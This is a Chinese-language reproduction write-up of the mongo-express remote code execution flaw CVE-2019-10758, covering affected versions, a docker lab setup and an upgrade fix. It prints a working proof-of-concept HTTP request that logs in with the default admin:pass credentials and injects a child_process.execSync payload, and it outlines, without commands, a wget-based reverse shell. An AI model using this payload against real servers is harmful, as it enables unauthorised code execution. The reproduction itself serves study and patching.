mongo-express 遠程代碼執行漏洞(CVE-2019-10758)


0x01 簡介

mongo-express是一款mongodb的第三方Web界面,使用node和express開發。如果攻擊者可以成功登錄,或者目標服務器沒有修改默認的賬號密碼(admin:pass),則可以執行任意node.js代碼。

0x02 影響版本

mongo-express 0.53.0

前提條件:知道Mongo的賬號密碼,或者未授權

0x03 漏洞復現

環境搭建

docker-compose up -d 

復現環境

mongo-express 0.53.0

MongoDB Version  3.4.24

poc

POST /checkValid HTTP/1.1
Host: you-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

進入docker環境,發現目錄創建成功

0x04 反彈shell

通過wget 下載shell

執行shell

反彈shell成功

0x05 修復建議

升級mongo-express到0.54.0或更高版本。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM